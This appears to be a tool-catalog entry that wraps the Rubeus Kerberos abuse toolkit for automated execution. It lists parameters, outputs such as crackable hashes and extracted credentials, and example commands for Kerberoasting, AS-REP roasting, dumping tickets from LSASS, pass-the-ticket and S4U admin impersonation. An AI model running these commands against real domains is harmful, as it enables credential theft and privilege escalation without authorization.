security enabled verified high v1.0.0

rubeus

Kerberos abuse toolkit for Windows for performing AS-REP roasting, Kerberoasting, pass-the-ticket, S4U attacks, and Kerberos ticket manipulation.

📋 Live Preview

Rubeus.exe {command} {flags}

📎 command 📎 flags

Rubeus.exe {command} {flags}

Sandbox: execFile · Timeout: 300s

Capabilities

security.ad.kerberos.bruteforce

security.ad.kerberos.asreproast

security.ad.kerberos.kerberoast

security.ad.kerberos.passkey

security.ad.kerberos.delegation

security.credential.kerberostickets

Parameters

Name	Type	Required	Default	Description	Aliases
`command`	string	Yes	-	Rubeus command (kerberoast, asreproast, dump, etc.)	-
`flag-domain`	string	No	-	Target domain	`/domain`
`flag-username`	string	No	-	Username for authentication	`/username`
`flag-password`	string	No	-	Password for authentication	`/password`
`flag-format`	string	No	-	Output format (hashcat, john)	`/format`
`flag-outfile`	string	No	-	Output file path	`/outfile`
`flag-ticket`	string	No	-	Base64-encoded Kerberos ticket	`/ticket`
`flag-ptt`	boolean	No	-	Pass-the-ticket	-

Artifacts

Type	Description	MIME	Schema	Trust
`security.credential.hash.kerberos`	Kerberos ticket hash data	text/plain	-	verified
`credential.data`	Extracted credential material	text/plain	-	verified

Contract

Inputs

domain.name

Target domain FQDN

credential.username

Target username or user list file

credential.password

Password or NTLM hash for authentication

Outputs

security.credential.hash.kerberos

Crackable Kerberos hashes

credential.data

Extracted Kerberos tickets and credentials

Side effects: network_trafficfilesystem_write

Workflow Edges

Produces

security.credential.hash.kerberoscredential.data

Consumes

domain.namecredential.usernamecredential.password

Resource Profile

Resource	Value
CPU	low
Memory	128 MB
Network	low
Disk I/O	low

Examples

Kerberoasting SPNs

Rubeus.exe kerberoast /domain:example.com /outfile:hashes.txt

AS-REP roasting users without pre-authentication

Rubeus.exe asreproast /domain:example.com /format:hashcat /outfile:asrep.txt

Dump Kerberos tickets from current session

Rubeus.exe dump /service:krbtgt

Pass-the-ticket

Rubeus.exe asktgt /user:admin /domain:example.com /ticket:<BASE64>

S4U2Self attack

Rubeus.exe s4u /user:svc_account /impersonateuser:admin /domain:example.com

Documentation

Rubeus — Kerberos Abuse Toolkit

Rubeus is a C# toolset for raw Kerberos interaction and abuse, designed for offensive security operations. It provides capabilities for Kerberoasting, AS-REP roasting, pass-the-ticket, pass-the-key, S4U attacks, and ticket manipulation.

Common Attacks

Command	Attack
`kerberoast`	Extract SPN service account hashes
`asreproast`	Find users without pre-authentication
`dump`	Extract tickets from LSASS
`asktgt`	Request TGT with specific options
`s4u`	S4U2Self/S4U2Proxy delegation attacks
`renew`	Renew existing tickets
`describe`	Decode and inspect ticket contents

Usage

:: Kerberoasting
Rubeus.exe kerberoast /domain:example.local /outfile:kerb-hashes.txt

:: AS-REP roasting
Rubeus.exe asreproast /format:hashcat /outfile:asrep-hashes.txt

:: Dump tickets
Rubeus.exe dump /luid:0x123456

:: Pass the ticket (ask TGT)
Rubeus.exe asktgt /user:admin /domain:example.local /aes256:<AES256_HASH> /ptt

Related Tools

impacketmimikatzcertipykerbrute